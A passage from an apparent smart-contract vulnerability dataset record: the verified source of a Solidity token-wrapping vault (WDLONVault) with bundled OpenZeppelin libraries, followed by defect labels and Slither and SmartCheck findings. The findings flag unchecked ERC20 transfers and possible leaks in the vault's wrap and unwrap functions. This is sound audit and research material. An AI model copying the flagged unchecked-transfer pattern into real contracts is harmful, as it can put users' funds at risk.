ime","type":"uint256"}],"name":"lockAfter","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_target","type":"address"}],"name":"freeze","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"},{"name":"_afterTime","type":"uint256"}],"name":"transferWithLockAfter","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"","type":"uint256"}],"name":"stakeHolders","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"tokenWallet","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"currentTime","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"owner","type":"address"},{"name":"spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"},{"name":"_releaseTime","type":"uint256"}],"name":"transferWithLock","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_holder","type":"address"}],"name":"lockCount","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_holder","type":"address"},{"name":"_amount","type":"uint256"},{"name":"_releaseTime","type":"uint256"}],"name":"lock","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_target","type":"address"}],"name":"isFrozen","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_newTokenWallet","type":"address"}],"name":"transferTokenWallet","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"stakeHolder","type":"address"}],"name":"AddStakeHolder","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"stakeHolder","type":"address"}],"name":"RemoveStakeHolder","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"target","type":"address"},{"indexed":false,"name":"mode","type":"uint8"},{"indexed":false,"name":"amount","type":"uint256"},{"indexed":false,"name":"token","type":"address"}],"name":"MakeProposal","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"target","type":"address"},{"indexed":false,"name":"stakeHolder","type":"address"}],"name":"AgreeProposal","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"previousTokenWallet","type":"address"},{"indexed":true,"name":"newTokenWallet","type":"address"}],"name":"TokenWalletTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"previousOwner","type":"address"}],"name":"OwnershipRenounced","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"previousOwner","type":"address"},{"indexed":true,"name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"Pause","type":"event"},{"anonymous":false,"inputs":[],"name":"Unpause","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"target","type":"address"}],"name":"Frozen","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"target","type":"address"}],"name":"Unfrozen","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"Mint","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"burner","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"holder","type":"address"},{"indexed":false,"name":"value","type":"uint256"},{"indexed":false,"name":"releaseTime","type":"uint256"}],"name":"Lock","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"holder","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Unlock","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"}]
v0.5.0+commit.1d4f565a
false
200
Default
MIT
false
bzzr://9dde145035e352570f8d0ce0679518e698081f3fd820ce7bc484fc0b641ac2d5
WDLONVault
0xb1bf9a1992639520c081c7e28a110c8cac239404
Solidity
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v2.5.0/contracts/GSN/Context.sol pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v2.5.0/contracts/token/ERC20/IERC20.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v2.5.0/contracts/token/ERC20/ERC20.sol pragma solidity ^0.5.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v2.5.0/contracts/token/ERC20/ERC20Burnable.sol pragma solidity ^0.5.0; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public { _burn(_msgSender(), amount); } /** * @dev See {ERC20-_burnFrom}. */ function burnFrom(address account, uint256 amount) public { _burnFrom(account, amount); } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v2.5.0/contracts/access/Roles.sol pragma solidity ^0.5.0; /** * @title Roles * @dev Library for managing addresses assigned to a Role. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev Give an account access to this role. */ function add(Role storage role, address account) internal { require(!has(role, account), "Roles: account already has role"); role.bearer[account] = true; } /** * @dev Remove an account's access to this role. */ function remove(Role storage role, address account) internal { require(has(role, account), "Roles: account does not have role"); role.bearer[account] = false; } /** * @dev Check if an account has this role. * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.bearer[account]; } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v2.5.0/contracts/access/roles/MinterRole.sol pragma solidity ^0.5.0; contract MinterRole is Context { using Roles for Roles.Role; event MinterAdded(address indexed account); event MinterRemoved(address indexed account); Roles.Role private _minters; constructor () internal { _addMinter(_msgSender()); } modifier onlyMinter() { require(isMinter(_msgSender()), "MinterRole: caller does not have the Minter role"); _; } function isMinter(address account) public view returns (bool) { return _minters.has(account); } function addMinter(address account) public onlyMinter { _addMinter(account); } function renounceMinter() public { _removeMinter(_msgSender()); } function _addMinter(address account) internal { _minters.add(account); emit MinterAdded(account); } function _removeMinter(address account) internal { _minters.remove(account); emit MinterRemoved(account); } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v2.5.0/contracts/token/ERC20/ERC20Mintable.sol pragma solidity ^0.5.0; /** * @dev Extension of {ERC20} that adds a set of accounts with the {MinterRole}, * which have permission to mint (create) new tokens as they see fit. * * At construction, the deployer of the contract is the only minter. */ contract ERC20Mintable is ERC20, MinterRole { /** * @dev See {ERC20-_mint}. * * Requirements: * * - the caller must have the {MinterRole}. */ function mint(address account, uint256 amount) public onlyMinter returns (bool) { _mint(account, amount); return true; } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v2.5.0/contracts/token/ERC20/ERC20Detailed.sol pragma solidity ^0.5.0; /** * @dev Optional functions from the ERC20 standard. */ contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of * these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v2.5.0/contracts/math/SafeMath.sol pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: wDLON_token.sol // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.5.0; contract wDLON is ERC20, ERC20Detailed, ERC20Mintable, ERC20Burnable { constructor() ERC20Detailed('Wrapped Dark Pylon','wDLON', 18 ) ERC20Mintable() ERC20Burnable() public { } } // File: wDLON_vault.sol // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.5.0; contract WDLONVault{ wDLON _wDLON; IERC20 DLON; constructor(address _DLON) public{ _wDLON = new wDLON(); DLON = IERC20(_DLON); } function getwDLONaddress() public view returns(address){ return address(_wDLON); } function getDLONaddress() public view returns(address){ return address(DLON); } function wrapDLON(uint amount) public { require( amount>0, "Amount is 0" ); DLON.transferFrom(msg.sender, address(this), amount); _wDLON.mint(msg.sender, amount); } function unWrapDLON(uint amount) public { require( amount>0, "Amount is 0" ); _wDLON.burnFrom(msg.sender,amount); DLON.transfer(msg.sender,amount); } }
[{"defect": "Leaking_to_arbitary_address", "type": "Access_control", "severity": "Medium", "lines": ["760"]}, {"defect": "Transaction_order_dependency", "type": "Business_logic", "severity": "Medium", "lines": ["751"]}]
[{"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WDLONVault.sol": [617, 618, 619, 620, 621, 622, 623, 624, 625, 626, 627, 628, 629]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WDLONVault.sol": [696, 697, 698, 699]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WDLONVault.sol": [659, 660, 661, 662, 663, 664, 665, 666]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WDLONVault.sol": [25, 26, 27, 28]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WDLONVault.sol": [680, 681, 679]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WDLONVault.sol": [642, 643, 644]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WDLONVault.sol": [538, 539, 540]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WDLONVault.sol": [522, 523, 524]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WDLONVault.sol": [514, 515, 516]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WDLONVault.sol": [211, 212, 213, 214, 215]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WDLONVault.sol": [371, 372, 373]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WDLONVault.sol": [756, 757, 758, 759, 760, 761, 762, 763]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WDLONVault.sol": [448, 446, 447]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WDLONVault.sol": [740, 741, 742]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WDLONVault.sol": [248, 249, 250, 251]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WDLONVault.sol": [163, 164, 165]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WDLONVault.sol": [176, 177, 178, 175]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WDLONVault.sol": [442, 443, 444]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WDLONVault.sol": [232, 229, 230, 231]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WDLONVault.sol": [481, 482, 483, 484]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WDLONVault.sol": [748, 749, 750, 751, 752, 753, 754]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WDLONVault.sol": [156, 157, 158]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WDLONVault.sol": [194, 195, 196, 197]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WDLONVault.sol": [364, 365, 366]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WDLONVault.sol": [744, 745, 746]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WDLONVault.sol": [184, 185, 183]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"WDLONVault.sol": [35]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"WDLONVault.sol": [489]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"WDLONVault.sol": [349]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"WDLONVault.sol": [417]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"WDLONVault.sol": [3]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"WDLONVault.sol": [378]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"WDLONVault.sol": [708]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"WDLONVault.sol": [727]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"WDLONVault.sol": [545]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"WDLONVault.sol": [463]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"WDLONVault.sol": [115]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"WDLONVault.sol": [522, 523, 524]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"WDLONVault.sol": [538, 539, 540]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"WDLONVault.sol": [514, 515, 516]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WDLONVault.sol": [714, 715, 716, 717, 718, 719, 720]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WDLONVault.sol": [732]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WDLONVault.sol": [733]}}, {"check": "redundant-statements", "impact": "Informational", "confidence": "High", "lines": {"WDLONVault.sol": [15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29]}}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium", "lines": {"WDLONVault.sol": [751]}}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium", "lines": {"WDLONVault.sol": [760]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"WDLONVault.sol": [752]}}]
[]
[{"rule": "SOLIDITY_ERC20_APPROVE", "line": 194, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 3, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 35, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 115, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 349, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 378, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 417, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 463, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 489, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 545, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 708, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 727, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 147, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 149, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 151, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 427, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 496, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 497, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 498, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 145, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 732, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 733, "severity": 1}]
[{"inputs":[{"internalType":"address","name":"_DLON","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"constant":true,"inputs":[],"name":"getDLONaddress","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"getwDLONaddress","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"unWrapDLON","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"wrapDLON","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]
v0.5.17+commit.d19bba13
false
200
000000000000000000000000ee89cdef018ed8e1c32f1761043ac2860ca98cf5
Default
GNU GPLv3
false
bzzr://4681e5a46b86e3e21fd1b612c1492aff6a63e90142b9e5395bd4896c7d92051c
Ysoba
